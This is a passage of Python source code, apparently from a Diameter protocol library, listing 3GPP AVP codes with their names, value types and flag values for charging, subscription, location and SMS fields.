('MBMS-Time-To-Data-Transfer', AVPV_OctetString, 192),\n        920: ('MBMS-Flow-Identifier', AVPV_OctetString, 192),\n        921: ('CN-IP-Multicast-Distribution', AVP_10415_921, 192),\n        922: ('MBMS-HC-Indicator', AVP_10415_922, 192),\n        1000: ('Bearer-Usage', AVP_10415_1000, 192),\n        1001: ('Charging-Rule-Install', AVPV_Grouped, 192),\n        1002: ('Charging-Rule-Remove', AVPV_Grouped, 192),\n        1003: ('Charging-Rule-Definition', AVPV_Grouped, 192),\n        1004: ('Charging-Rule-Base-Name', AVPV_StrLenField, 192),\n        1005: ('Charging-Rule-Name', AVPV_OctetString, 192),\n        1006: ('Event-Trigger', AVP_10415_1006, 192),\n        1007: ('Metering-Method', AVP_10415_1007, 192),\n        1008: ('Offline', AVP_10415_1008, 192),\n        1009: ('Online', AVP_10415_1009, 192),\n        1010: ('Precedence', AVPV_Unsigned32, 192),\n        1011: ('Reporting-Level', AVP_10415_1011, 192),\n        1012: ('TFT-Filter', AVPV_IPFilterRule, 192),\n        1013: ('TFT-Packet-Filter-Information', AVPV_Grouped, 192),\n        1014: ('ToS-Traffic-Class', AVPV_OctetString, 192),\n        1015: ('PDP-Session-Operation', AVP_10415_1015, 192),\n        1018: ('Charging-Rule-Report', AVPV_Grouped, 192),\n        1019: ('PCC-Rule-Status', AVP_10415_1019, 192),\n        1020: ('Bearer-Identifier', AVPV_OctetString, 192),\n        1021: ('Bearer-Operation', AVP_10415_1021, 192),\n        1022: ('Access-Network-Charging-Identifier-Gx', AVPV_Grouped, 192),\n        1023: ('Bearer-Control-Mode', AVP_10415_1023, 192),\n        1024: ('Network-Request-Support', AVP_10415_1024, 192),\n        1025: ('Guaranteed-Bitrate-DL', AVPV_Unsigned32, 192),\n        1026: ('Guaranteed-Bitrate-UL', AVPV_Unsigned32, 192),\n        1027: ('IP-CAN-Type', AVP_10415_1027, 192),\n        1028: ('QoS-Class-Identifier', AVP_10415_1028, 192),\n        1032: ('RAT-Type', AVP_10415_1032, 128),\n        1033: ('Event-Report-Indication', AVPV_Grouped, 128),\n        1034: ('Allocation-Retention-Priority', AVPV_Grouped, 128),\n        1035: ('CoA-IP-Address', AVPV_Address, 128),\n        1036: ('Tunnel-Header-Filter', AVPV_IPFilterRule, 128),\n        1037: ('Tunnel-Header-Length', AVPV_Unsigned32, 128),\n        1038: ('Tunnel-Information', AVPV_Grouped, 128),\n        1039: ('CoA-Information', AVPV_Grouped, 128),\n        1040: ('APN-Aggregate-Max-Bitrate-DL', AVPV_Unsigned32, 128),\n        1041: ('APN-Aggregate-Max-Bitrate-UL', AVPV_Unsigned32, 128),\n        1042: ('Revalidation-Time', AVPV_Time, 192),\n        1043: ('Rule-Activation-Time', AVPV_Time, 192),\n        1044: ('Rule-Deactivation-Time', AVPV_Time, 192),\n        1045: ('Session-Release-Cause', AVP_10415_1045, 192),\n        1046: ('Priority-Level', AVPV_Unsigned32, 128),\n        1047: ('Pre-emption-Capability', AVP_10415_1047, 128),\n        1048: ('Pre-emption-Vulnerability', AVP_10415_1048, 128),\n        1049: ('Default-EPS-Bearer-QoS', AVPV_Grouped, 128),\n        1050: ('AN-GW-Address', AVPV_Address, 128),\n        1056: ('Security-Parameter-Index', AVPV_OctetString, 128),\n        1057: ('Flow-Label', AVPV_OctetString, 128),\n        1058: ('Flow-Information', AVPV_Grouped, 128),\n        1059: ('Packet-Filter-Content', AVPV_IPFilterRule, 128),\n        1060: ('Packet-Filter-Identifier', AVPV_OctetString, 128),\n        1061: ('Packet-Filter-Information', AVPV_Grouped, 128),\n        1062: ('Packet-Filter-Operation', AVP_10415_1062, 128),\n        1063: ('Resource-Allocation-Notification', AVP_10415_1063, 128),\n        1065: ('PDN-Connection-ID', AVPV_OctetString, 128),\n        1066: ('Monitoring-Key', AVPV_OctetString, 128),\n        1067: ('Usage-Monitoring-Information', AVPV_Grouped, 128),\n        1068: ('Usage-Monitoring-Level', AVP_10415_1068, 128),\n        1069: ('Usage-Monitoring-Report', AVP_10415_1069, 128),\n        1070: ('Usage-Monitoring-Support', AVP_10415_1070, 128),\n        1071: ('CSG-Information-Reporting', AVP_10415_1071, 128),\n        1072: ('Packet-Filter-Usage', AVP_10415_1072, 128),\n        1073: ('Charging-Correlation-Indicator', AVP_10415_1073, 128),\n        1075: ('Routing-Rule-Remove', AVPV_Grouped, 128),\n        1076: ('Routing-Rule-Definition', AVPV_Grouped, 128),\n        1077: ('Routing-Rule-Identifier', AVPV_OctetString, 128),\n        1078: ('Routing-Filter', AVPV_Grouped, 128),\n        1079: ('Routing-IP-Address', AVPV_Address, 128),\n        1080: ('Flow-Direction', AVP_10415_1080, 128),\n        1082: ('Credit-Management-Status', AVPV_Unsigned32, 128),\n        1085: ('Redirect-Information', AVPV_Grouped, 128),\n        1086: ('Redirect-Support', AVP_10415_1086, 128),\n        1087: ('TDF-Information', AVPV_Grouped, 128),\n        1088: ('TDF-Application-Identifier', AVPV_OctetString, 128),\n        1089: ('TDF-Destination-Host', AVPV_StrLenField, 128),\n        1090: ('TDF-Destination-Realm', AVPV_StrLenField, 128),\n        1091: ('TDF-IP-Address', AVPV_Address, 128),\n        1098: ('Application-Detection-Information', AVPV_Grouped, 128),\n        1099: ('PS-to-CS-Session-Continuity', AVP_10415_1099, 128),\n        1200: ('Domain-Name', AVPV_StrLenField, 192),\n        1203: ('MM-Content-Type', AVPV_Grouped, 192),\n        1204: ('Type-Number', AVP_10415_1204, 192),\n        1205: ('Additional-Type-Information', AVPV_StrLenField, 192),\n        1206: ('Content-Size', AVPV_Unsigned32, 192),\n        1207: ('Additional-Content-Information', AVPV_Grouped, 192),\n        1208: ('Addressee-Type', AVP_10415_1208, 192),\n        1209: ('Priority', AVP_10415_1209, 192),\n        1211: ('Message-Type', AVP_10415_1211, 192),\n        1212: ('Message-Size', AVPV_Unsigned32, 192),\n        1213: ('Message-Class', AVPV_Grouped, 192),\n        1214: ('Class-Identifier', AVP_10415_1214, 192),\n        1215: ('Token-Text', AVPV_StrLenField, 192),\n        1216: ('Delivery-Report-Requested', AVP_10415_1216, 192),\n        1217: ('Adaptations', AVP_10415_1217, 192),\n        1218: ('Applic-ID', AVPV_StrLenField, 192),\n        1219: ('Aux-Applic-Info', AVPV_StrLenField, 192),\n        1220: ('Content-Class', AVP_10415_1220, 192),\n        1221: ('DRM-Content', AVP_10415_1221, 192),\n        1222: ('Read-Reply-Report-Requested', AVP_10415_1222, 192),\n        1223: ('Reply-Applic-ID', AVPV_StrLenField, 192),\n        1224: ('File-Repair-Supported', AVP_10415_1224, 192),\n        1225: ('MBMS-User-Service-Type', AVP_10415_1225, 192),\n        1226: ('Unit-Quota-Threshold', AVPV_Unsigned32, 192),\n        1227: ('PDP-Address', AVPV_Address, 192),\n        1228: ('SGSN-Address', AVPV_Address, 192),\n        1229: ('PoC-Session-Id', AVPV_StrLenField, 192),\n        1230: ('Deferred-Location-Event-Type', AVPV_StrLenField, 192),\n        1231: ('LCS-APN', AVPV_StrLenField, 192),\n        1245: ('Positioning-Data', AVPV_StrLenField, 192),\n        1247: ('PDP-Context-Type', AVP_10415_1247, 192),\n        1248: ('MMBox-Storage-Requested', AVP_10415_1248, 192),\n        1250: ('Called-Asserted-Identity', AVPV_StrLenField, 192),\n        1251: ('Requested-Party-Address', AVPV_StrLenField, 192),\n        1252: ('PoC-User-Role', AVPV_Grouped, 192),\n        1253: ('PoC-User-Role-IDs', AVPV_StrLenField, 192),\n        1254: ('PoC-User-Role-info-Units', AVP_10415_1254, 192),\n        1255: ('Talk-Burst-Exchange', AVPV_Grouped, 192),\n        1258: ('Event-Charging-TimeStamp', AVPV_Time, 192),\n        1259: ('Participant-Access-Priority', AVP_10415_1259, 192),\n        1260: ('Participant-Group', AVPV_Grouped, 192),\n        1261: ('PoC-Change-Condition', AVP_10415_1261, 192),\n        1262: ('PoC-Change-Time', AVPV_Time, 192),\n        1263: ('Access-Network-Information', AVPV_OctetString, 192),\n        1264: ('Trigger', AVPV_Grouped, 192),\n        1265: ('Base-Time-Interval', AVPV_Unsigned32, 192),\n        1266: ('Envelope', AVPV_Grouped, 192),\n        1267: ('Envelope-End-Time', AVPV_Time, 192),\n        1268: ('Envelope-Reporting', AVP_10415_1268, 192),\n        1269: ('Envelope-Start-Time', AVPV_Time, 192),\n        1270: ('Time-Quota-Mechanism', AVPV_Grouped, 192),\n        1271: ('Time-Quota-Type', AVP_10415_1271, 192),\n        1272: ('Early-Media-Description', AVPV_Grouped, 192),\n        1273: ('SDP-TimeStamps', AVPV_Grouped, 192),\n        1274: ('SDP-Offer-Timestamp', AVPV_Time, 192),\n        1275: ('SDP-Answer-Timestamp', AVPV_Time, 192),\n        1276: ('AF-Correlation-Information', AVPV_Grouped, 192),\n        1277: ('PoC-Session-Initiation-Type', AVP_10415_1277, 192),\n        1278: ('Offline-Charging', AVPV_Grouped, 192),\n        1279: ('User-Participating-Type', AVP_10415_1279, 192),\n        1281: ('IMS-Communication-Service-Identifier', AVPV_StrLenField, 192),\n        1282: ('Number-Of-Received-Talk-Bursts', AVPV_Unsigned32, 192),\n        1283: ('Number-Of-Talk-Bursts', AVPV_Unsigned32, 192),\n        1284: ('Received-Talk-Burst-Time', AVPV_Unsigned32, 192),\n        1285: ('Received-Talk-Burst-Volume', AVPV_Unsigned32, 192),\n        1286: ('Talk-Burst-Time', AVPV_Unsigned32, 192),\n        1287: ('Talk-Burst-Volume', AVPV_Unsigned32, 192),\n        1288: ('Media-Initiator-Party', AVPV_StrLenField, 192),\n        1400: ('Subscription-Data', AVPV_Grouped, 192),\n        1401: ('Terminal-Information', AVPV_Grouped, 192),\n        1402: ('IMEI', AVPV_StrLenField, 192),\n        1403: ('Software-Version', AVPV_StrLenField, 192),\n        1404: ('QoS-Subscribed', AVPV_OctetString, 192),\n        1405: ('ULR-Flags', AVPV_Unsigned32, 192),\n        1406: ('ULA-Flags', AVPV_Unsigned32, 192),\n        1407: ('Visited-PLMN-Id', AVPV_OctetString, 192),\n        1408: ('Requested-EUTRAN-Authentication-Info', AVPV_Grouped, 192),\n        1409: ('GERAN-Authentication-Info', AVPV_Grouped, 192),\n        1410: ('Number-Of-Requested-Vectors', AVPV_Unsigned32, 192),\n        1411: ('Re-Synchronization-Info', AVPV_OctetString, 192),\n        1412: ('Immediate-Response-Preferred', AVPV_Unsigned32, 192),\n        1413: ('Authentication-Info', AVPV_Grouped, 192),\n        1414: ('E-UTRAN-Vector', AVPV_Grouped, 192),\n        1415: ('UTRAN-Vector', AVPV_Grouped, 192),\n        1416: ('GERAN-Vector', AVPV_Grouped, 192),\n        1417: ('Network-Access-Mode', AVP_10415_1417, 192),\n        1418: ('HPLMN-ODB', AVPV_Unsigned32, 192),\n        1419: ('Item-Number', AVPV_Unsigned32, 192),\n        1420: ('Cancellation-Type', AVP_10415_1420, 192),\n        1421: ('DSR-Flags', AVPV_Unsigned32, 192),\n        1422: ('DSA-Flags', AVPV_Unsigned32, 192),\n        1423: ('Context-Identifier', AVPV_Unsigned32, 192),\n        1424: ('Subscriber-Status', AVP_10415_1424, 192),\n        1425: ('Operator-Determined-Barring', AVPV_Unsigned32, 192),\n        1426: ('Access-Restriction-Data', AVPV_Unsigned32, 192),\n        1427: ('APN-OI-Replacement', AVPV_StrLenField, 192),\n        1428: ('All-APN-Configurations-Included-Indicator', AVP_10415_1428, 192),  # noqa: E501\n        1429: ('APN-Configuration-Profile', AVPV_Grouped, 192),\n        1430: ('APN-Configuration', AVPV_Grouped, 192),\n        1431: ('EPS-Subscribed-QoS-Profile', AVPV_Grouped, 192),\n        1432: ('VPLMN-Dynamic-Address-Allowed', AVP_10415_1432, 192),\n        1433: ('STN-SR', AVPV_OctetString, 192),\n        1434: ('Alert-Reason', AVP_10415_1434, 192),\n        1435: ('AMBR', AVPV_Grouped, 192),\n        1437: ('CSG-Id', AVPV_Unsigned32, 192),\n        1438: ('PDN-GW-Allocation-Type', AVP_10415_1438, 192),\n        1439: ('Expiration-Date', AVPV_Time, 192),\n        1440: ('RAT-Frequency-Selection-Priority-ID', AVPV_Unsigned32, 192),\n        1441: ('IDA-Flags', AVPV_Unsigned32, 192),\n        1442: ('PUA-Flags', AVPV_Unsigned32, 192),\n        1443: ('NOR-Flags', AVPV_Unsigned32, 192),\n        1444: ('User-Id', AVPV_StrLenField, 128),\n        1445: ('Equipment-Status', AVP_10415_1445, 192),\n        1446: ('Regional-Subscription-Zone-Code', AVPV_OctetString, 192),\n        1447: ('RAND', AVPV_OctetString, 192),\n        1448: ('XRES', AVPV_OctetString, 192),\n        1449: ('AUTN', AVPV_OctetString, 192),\n        1450: ('KASME', AVPV_OctetString, 192),\n        1452: ('Trace-Collection-Entity', AVPV_Address, 192),\n        1453: ('Kc', AVPV_OctetString, 192),\n        1454: ('SRES', AVPV_OctetString, 192),\n        1456: ('PDN-Type', AVP_10415_1456, 192),\n        1457: ('Roaming-Restricted-Due-To-Unsupported-Feature', AVP_10415_1457, 192),  # noqa: E501\n        1458: ('Trace-Data', AVPV_Grouped, 192),\n        1459: ('Trace-Reference', AVPV_OctetString, 192),\n        1462: ('Trace-Depth', AVP_10415_1462, 192),\n        1463: ('Trace-NE-Type-List', AVPV_OctetString, 192),\n        1464: ('Trace-Interface-List', AVPV_OctetString, 192),\n        1465: ('Trace-Event-List', AVPV_OctetString, 192),\n        1466: ('OMC-Id', AVPV_OctetString, 192),\n        1467: ('GPRS-Subscription-Data', AVPV_Grouped, 192),\n        1468: ('Complete-Data-List-Included-Indicator', AVP_10415_1468, 192),\n        1469: ('PDP-Context', AVPV_Grouped, 192),\n        1470: ('PDP-Type', AVPV_OctetString, 192),\n        1471: ('3GPP2-MEID', AVPV_OctetString, 192),\n        1472: ('Specific-APN-Info', AVPV_Grouped, 192),\n        1473: ('LCS-Info', AVPV_Grouped, 192),\n        1474: ('GMLC-Number', AVPV_OctetString, 192),\n        1475: ('LCS-PrivacyException', AVPV_Grouped, 192),\n        1476: ('SS-Code', AVPV_OctetString, 192),\n        1477: ('SS-Status', AVPV_OctetString, 192),\n        1478: ('Notification-To-UE-User', AVP_10415_1478, 192),\n        1479: ('External-Client', AVPV_Grouped, 192),\n        1480: ('Client-Identity', AVPV_OctetString, 192),\n        1481: ('GMLC-Restriction', AVP_10415_1481, 192),\n        1482: ('PLMN-Client', AVP_10415_1482, 192),\n        1483: ('Service-Type', AVPV_Grouped, 192),\n        1484: ('ServiceTypeIdentity', AVPV_Unsigned32, 192),\n        1485: ('MO-LR', AVPV_Grouped, 192),\n        1486: ('Teleservice-List', AVPV_Grouped, 192),\n        1487: ('TS-Code', AVPV_OctetString, 192),\n        1488: ('Call-Barring-Info', AVPV_Grouped, 192),\n        1489: ('SGSN-Number', AVPV_OctetString, 192),\n        1490: ('IDR-Flags', AVPV_Unsigned32, 192),\n        1491: ('ICS-Indicator', AVP_10415_1491, 128),\n        1492: ('IMS-Voice-Over-PS-Sessions-Supported', AVP_10415_1492, 128),\n        1493: ('Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions', AVP_10415_1493, 128),  # noqa: E501\n        1494: ('Last-UE-Activity-Time', AVPV_Time, 128),\n        1495: ('EPS-User-State', AVPV_Grouped, 128),\n        1496: ('EPS-Location-Information', AVPV_Grouped, 128),\n        1497: ('MME-User-State', AVPV_Grouped, 128),\n        1498: ('SGSN-User-State', AVPV_Grouped, 128),\n        1499: ('User-State', AVP_10415_1499, 128),\n        1500: ('Non-3GPP-User-Data', AVPV_Grouped, 192),\n        1501: ('Non-3GPP-IP-Access', AVP_10415_1501, 192),\n        1502: ('Non-3GPP-IP-Access-APN', AVP_10415_1502, 192),\n        1503: ('AN-Trusted', AVP_10415_1503, 192),\n        1504: ('ANID', AVPV_StrLenField, 192),\n        1505: ('Trace-Info', AVPV_Grouped, 128),\n        1506: ('MIP-FA-RK', AVPV_OctetString, 192),\n        1507: ('MIP-FA-RK-SPI', AVPV_Unsigned32, 192),\n        1508: ('PPR-Flags', AVPV_Unsigned32, 128),\n        1509: ('WLAN-Identifier', AVPV_Grouped, 128),\n        1510: ('TWAN-Access-Info', AVPV_Grouped, 128),\n        1511: ('Access-Authorization-Flags', AVPV_Unsigned32, 128),\n        1512: ('TWAN-Default-APN-Context-Id', AVPV_Unsigned32, 128),\n        1515: ('Trust-Relationship-Update', AVP_10415_1515, 128),\n        1516: ('Full-Network-Name', AVPV_OctetString, 128),\n        1517: ('Short-Network-Name', AVPV_OctetString, 128),\n        1518: ('AAA-Failure-Indication', AVPV_Unsigned32, 128),\n        1519: ('Transport-Access-Type', AVP_10415_1519, 128),\n        1520: ('DER-Flags', AVPV_Unsigned32, 128),\n        1521: ('DEA-Flags', AVPV_Unsigned32, 128),\n        1522: ('RAR-Flags', AVPV_Unsigned32, 128),\n        1523: ('DER-S6b-Flags', AVPV_Unsigned32, 128),\n        1524: ('SSID', AVPV_StrLenField, 128),\n        1525: ('HESSID', AVPV_StrLenField, 128),\n        1526: ('Access-Network-Info', AVPV_Grouped, 128),\n        1527: ('TWAN-Connection-Mode', AVPV_Unsigned32, 128),\n        1528: ('TWAN-Connectivity-Parameters', AVPV_Grouped, 128),\n        1529: ('Connectivity-Flags', AVPV_Unsigned32, 128),\n        1530: ('TWAN-PCO', AVPV_OctetString, 128),\n        1531: ('TWAG-CP-Address', AVPV_Address, 128),\n        1532: ('TWAG-UP-Address', AVPV_StrLenField, 128),\n        1533: ('TWAN-S2a-Failure-Cause', AVPV_Unsigned32, 128),\n        1534: ('SM-Back-Off-Timer', AVPV_Unsigned32, 128),\n        1535: ('WLCP-Key', AVPV_OctetString, 128),\n        1600: ('Information', AVPV_Grouped, 128),\n        1601: ('SGSN-Location-Information', AVPV_Grouped, 128),\n        1602: ('E-UTRAN-Cell-Global-Identity', AVPV_OctetString, 128),\n        1603: ('Tracking-Area-Identity', AVPV_OctetString, 128),\n        1604: ('Cell-Global-Identity', AVPV_OctetString, 128),\n        1605: ('Routing-Area-Identity', AVPV_OctetString, 128),\n        1606: ('Location-Area-Identity', AVPV_OctetString, 128),\n        1607: ('Service-Area-Identity', AVPV_OctetString, 128),\n        1608: ('Geographical-Information', AVPV_OctetString, 128),\n        1609: ('Geodetic-Information', AVPV_OctetString, 128),\n        1610: ('Current-Location-Retrieved', AVP_10415_1610, 128),\n        1611: ('Age-Of-Location-Information', AVPV_Unsigned32, 128),\n        1612: ('Active-APN', AVPV_Grouped, 128),\n        1613: ('SIPTO-Permission', AVP_10415_1613, 128),\n        1614: ('Error-Diagnostic', AVP_10415_1614, 128),\n        1615: ('UE-SRVCC-Capability', AVP_10415_1615, 128),\n        1616: ('MPS-Priority', AVPV_Unsigned32, 128),\n        1617: ('VPLMN-LIPA-Allowed', AVP_10415_1617, 128),\n        1618: ('LIPA-Permission', AVP_10415_1618, 128),\n        1619: ('Subscribed-Periodic-RAU-TAU-Timer', AVPV_Unsigned32, 128),\n        1621: ('Ext-PDP-Address', AVPV_Address, 128),\n        1622: ('MDT-Configuration', AVPV_Grouped, 128),\n        1623: ('Job-Type', AVP_10415_1623, 128),\n        1624: ('Area-Scope', AVPV_Grouped, 128),\n        1625: ('List-Of-Measurements', AVPV_Unsigned32, 128),\n        1626: ('Reporting-Trigger', AVPV_Unsigned32, 128),\n        1627: ('Report-Interval', AVP_10415_1627, 128),\n        1628: ('Report-Amount', AVP_10415_1628, 128),\n        1629: ('Event-Threshold-RSRP', AVPV_Unsigned32, 128),\n        1631: ('Logging-Interval', AVP_10415_1631, 128),\n        1632: ('Logging-Duration', AVP_10415_1632, 128),\n        1633: ('Relay-Node-Indicator', AVP_10415_1633, 128),\n        1634: ('MDT-User-Consent', AVP_10415_1634, 128),\n        1635: ('PUR-Flags', AVPV_Unsigned32, 128),\n        1636: ('Subscribed-VSRVCC', AVP_10415_1636, 128),\n        1638: ('CLR-Flags', AVPV_Unsigned32, 128),\n        1639: ('UVR-Flags', AVPV_Unsigned32, 192),\n        1640: ('UVA-Flags', AVPV_Unsigned32, 192),\n        1641: ('VPLMN-CSG-Subscription-Data', AVPV_Grouped, 192),\n        1642: ('Time-Zone', AVPV_StrLenField, 128),\n        1643: ('A-MSISDN', AVP_10415_1643, 128),\n        1645: ('MME-Number-for-MT-SMS', AVPV_OctetString, 128),\n        1648: ('SMS-Register-Request', AVP_10415_1648, 128),\n        1649: ('Local-Time-Zone', AVPV_Grouped, 128),\n        1650: ('Daylight-Saving-Time', AVP_10415_1650, 128),\n        1654: ('Subscription-Data-Flags', AVPV_Unsigned32, 128),\n        1659: ('Positioning-Method', AVPV_OctetString, 128),\n        1660: ('Measurement-Quantity', AVPV_OctetString, 128),\n        1661: ('Event-Threshold-Event-1F', AVPV_Integer32, 128),\n        1662: ('Event-Threshold-Event-1I', AVPV_Integer32, 128),\n        1663: ('Restoration-Priority', AVPV_Unsigned32, 128),\n        1664: ('SGs-MME-Identity', AVPV_StrLenField, 128),\n        1665: ('SIPTO-Local-Network-Permission', AVPV_Unsigned32, 128),\n        1666: ('Coupled-Node-Diameter-ID', AVPV_StrLenField, 128),\n        1667: ('WLAN-offloadability', AVPV_Grouped, 128),\n        1668: ('WLAN-offloadability-EUTRAN', AVPV_Unsigned32, 128),\n        1669: ('WLAN-offloadability-UTRAN', AVPV_Unsigned32, 128),\n        1670: ('Reset-ID', AVPV_OctetString, 128),\n        1671: ('MDT-Allowed-PLMN-Id', AVPV_OctetString, 128),\n        2000: ('SMS-Information', AVPV_Grouped, 192),\n        2001: ('Data-Coding-Scheme', AVPV_Integer32, 192),\n        2002: ('Destination-Interface', AVPV_Grouped, 192),\n        2003: ('Interface-Id', AVPV_StrLenField, 192),\n        2004: ('Interface-Port', AVPV_StrLenField, 192),\n        2005: ('Interface-Text', AVPV_StrLenField, 192),\n        2006: ('Interface-Type', AVP_10415_2006, 192),\n        2007: ('SM-Message-Type', AVP_10415_2007, 192),\n        2008: ('Originator-SCCP-Address', AVPV_Address, 192),\n        2009: ('Originator-Interface', AVPV_Grouped, 192),\n        2010: ('Recipient-SCCP-Address', AVPV_Address, 192),\n        2011: ('Reply-Path-Requested', AVP_10415_2011, 192),\n        2012: ('SM-Discharge-Time', AVPV_Time, 192),\n        2013: ('SM-Protocol-ID', AVPV_OctetString, 192),\n        2015: ('SM-User-Data-Header', AVPV_OctetString, 192),\n        2016: ('SMS-Node', AVP_10415_2016, 192),\n        2018: ('Client-Address', AVPV_Address, 192),\n        2019: ('Number-Of-Messages-Sent', AVPV_Unsigned32, 192),\n        2021: ('Remaining-Balance', AVPV_Grouped, 192),\n        2022: ('Refund-Information', AVPV_OctetString, 192),\n        2023: ('Carrier-Select-Routing-Information', AVPV_StrLenField, 192),\n        2024: ('Number-Portability-Routing-Information', AVPV_StrLenField, 192),  # noqa: E501\n        2025: ('PoC-Event-Type', AVP_10415_2025, 192),\n        2026: ('Recipient-Info', AVPV_Grouped, 192),\n        2027: ('Originator-Received-Address', AVPV_Grouped, 192),\n        2028: ('Recipient-Received-Address', AVPV_Grouped, 192),\n        2029: ('SM-Service-Type', AVP_10415_2029, 192),\n        2030: ('MMTel-Information', AVPV_Grouped, 192),\n        2031: ('MMTel-SService-Type', AVPV_Unsigned32, 192),\n        2032: ('Service-Mode', AVPV_Unsigned32, 192),\n        2033: ('Subscriber-Role', AVP_10415_2033, 192),\n        2034: ('Number-Of-Diversions', AVPV_Unsigned32, 192),\n        2035: ('Associated-Party-Address', AVPV_StrLenField, 192),\n        2036: ('SDP-Type', AVP_10415_2036, 192),\n        2037: ('Change-Condition', AVPV_Integer32, 192),\n        2038: ('Change-Time', AVPV_Time, 192),\n        2039: ('Diagnostics', AVPV_Integer32, 192),\n        2040: ('Service-Data-Container', AVPV_Grouped, 192),\n        2041: ('Start-Time', AVPV_Time, 192),\n        2042: ('Stop-Time', AVPV_Time, 192),\n        2043: ('Time-First-Usage', AVPV_Time, 192),\n        2044: ('Time-Last-Usage', AVPV_Time, 192),\n        2045: ('Time-Usage', AVPV_Unsigned32, 192),\n        2046: ('Traffic-Data-Volumes', AVPV_Grouped, 192),\n        2047: ('Serving-Node-Type', AVP_10415_2047, 192),\n        2048: ('Supplementary-Service', AVPV_Grouped, 192),\n        2049: ('Participant-Action-Type', AVP_10415_2049, 192),\n        2050: ('PDN-Connection-Charging-ID', AVPV_Unsigned32, 192),\n        2051: ('Dynamic-Address-Flag', AVP_10415_2051, 192),\n        2052: ('Accumulated-Cost', AVPV_Grouped, 192),\n        2053: ('AoC-Cost-Information', AVPV_Grouped, 192),\n        2056: ('Current-Tariff', AVPV_Grouped, 192),\n        2058: ('Rate-Element', AVPV_Grouped, 192),\n        2059: ('Scale-Factor', AVPV_Grouped, 192),\n        2060: ('Tariff-Information', AVPV_Grouped, 192),\n        2061: ('Unit-Cost', AVPV_Grouped, 192),\n        2062: ('Incremental-Cost', AVPV_Grouped, 192),\n        2063: ('Local-Sequence-Number', AVPV_Unsigned32, 192),\n        2064: ('Node-Id', AVPV_StrLenField, 192),\n        2065: ('SGW-Change', AVP_10415_2065, 192),\n        2066: ('Charging-Characteristics-Selection-Mode', AVP_10415_2066, 192),\n        2067: ('SGW-Address', AVPV_Address, 192),\n        2068: ('Dynamic-Address-Flag-Extension', AVP_10415_2068, 192),\n        2118: ('Charge-Reason-Code', AVP_10415_2118, 192),\n        2200: ('Subsession-Decision-Info', AVPV_Grouped, 192),\n        2201: ('Subsession-Enforcement-Info', AVPV_Grouped, 192),\n        2202: ('Subsession-Id', AVPV_Unsigned32, 192),\n        2203: ('Subsession-Operation', AVP_10415_2203, 192),\n        2204: ('Multiple-BBERF-Action', AVP_10415_2204, 192),\n        2206: ('DRA-Deployment', AVP_10415_2206, 128),\n        2208: ('DRA-Binding', AVP_10415_2208, 128),\n        2301: ('SIP-Request-Timestamp-Fraction', AVPV_Unsigned32, 192),\n        2302: ('SIP-Response-Timestamp-Fraction', AVPV_Unsigned32, 192),\n        2303: ('Online-Charging-Flag', AVP_10415_2303, 192),\n        2304: ('CUG-Information', AVPV_OctetString, 192),\n        2305: ('Real-Time-Tariff-Information', AVPV_Grouped, 192),\n        2306: ('Tariff-XML', AVPV_StrLenField, 192),\n        2307: ('MBMS-GW-Address', AVPV_Address, 192),\n        2308: ('IMSI-Unauthenticated-Flag', AVP_10415_2308, 192),\n        2309: ('Account-Expiration', AVPV_Time, 192),\n        2310: ('AoC-Format', AVP_10415_2310, 192),\n        2311: ('AoC-Service', AVPV_Grouped, 192),\n        2312: ('AoC-Service-Obligatory-Type', AVP_10415_2312, 192),\n        2313: ('AoC-Service-Type', AVP_10415_2313, 192),\n        2314: ('AoC-Subscription-Information', AVPV_Grouped, 192),\n        2315: ('Preferred-AoC-Currency', AVPV_Unsigned32, 192),\n        2317: ('CSG-Access-Mode', AVP_10415_2317, 192),\n        2318: ('CSG-Membership-Indication', AVP_10415_2318, 192),\n        2319: ('User-CSG-Information', AVPV_Grouped, 192),\n        2320: ('Outgoing-Session-Id', AVPV_StrLenField, 192),\n        2321: ('Initial-IMS-Charging-Identifier', AVPV_StrLenField, 192),\n        2322: ('IMS-Emergency-Indicator', AVP_10415_2322, 192),\n        2323: ('MBMS-Charged-Party', AVP_10415_2323, 192),\n        2400: ('LMSI', AVPV_OctetString, 192),\n        2401: ('Serving-Node', AVPV_Grouped, 192),\n        2402: ('MME-Name', AVPV_StrLenField, 192),\n        2403: ('MSC-Number', AVPV_OctetString, 192),\n        2404: ('LCS-Capabilities-Sets', AVPV_Unsigned32, 192),\n        2405: ('GMLC-Address', AVPV_Address, 192),\n        2406: ('Additional-Serving-Node', AVPV_Grouped, 192),\n        2407: ('PPR-Address', AVPV_Address, 192),\n        2408: ('MME-Realm', AVPV_StrLenField, 128),\n        2409: ('SGSN-Name', AVPV_StrLenField, 128),\n        2410: ('SGSN-Realm', AVPV_StrLenField, 128),\n        2411: ('RIA-Flags', AVPV_Unsigned32, 128),\n        2500: ('SLg-Location-Type', AVP_10415_2500, 192),\n        2501: ('LCS-EPS-Client-Name', AVPV_Grouped, 192),\n        2502: ('LCS-Requestor-Name', AVPV_Grouped, 192),\n        2503: ('LCS-Priority', AVPV_Unsigned32, 192),\n        2504: ('LCS-QoS', AVPV_Grouped, 192),\n        2505: ('Horizontal-Accuracy', AVPV_Unsigned32, 192),\n        2506: ('Vertical-Accuracy', AVPV_Unsigned32, 192),\n        2507: ('Vertical-Requested', AVP_10415_2507, 192),\n        2508: ('Velocity-Requested', AVP_10415_2508, 192),\n        2509: ('Response-Time', AVP_10415_2509, 192),\n        2510: ('Supported-GAD-Shapes', AVPV_Unsigned32, 192),\n        2511: ('LCS-Codeword', AVPV_StrLenField, 192),\n        2512: ('LCS-Privacy-Check', AVP_10415_2512, 192),\n        2513: ('Accuracy-Fulfilment-Indicator', AVP_10415_2513, 192),\n        2514: ('Age-Of-Location-Estimate', AVPV_Unsigned32, 192),\n        2515: ('Velocity-Estimate', AVPV_OctetString, 192),\n        2516: ('EUTRAN-Positioning-Data', AVPV_OctetString, 192),\n        2517: ('ECGI', AVPV_OctetString, 192),\n        2518: ('Location-Event', AVP_10415_2518, 192),\n        2519: ('Pseudonym-Indicator', AVP_10415_2519, 192),\n        2520: ('LCS-Service-Type-ID', AVPV_Unsigned32, 192),\n        2523: ('LCS-QoS-Class', AVP_10415_2523, 192),\n        2524: ('GERAN-Positioning-Info', AVPV_Grouped, 128),\n        2525: ('GERAN-Positioning-Data', AVPV_OctetString, 128),\n        2526: ('GERAN-GANSS-Positioning-Data', AVPV_OctetString, 128),\n        2527: ('UTRAN-Positioning-Info', AVPV_Grouped, 128),\n        2528: ('UTRAN-Positioning-Data', AVPV_OctetString, 128),\n        2529: ('UTRAN-GANSS-Positioning-Data', AVPV_OctetString, 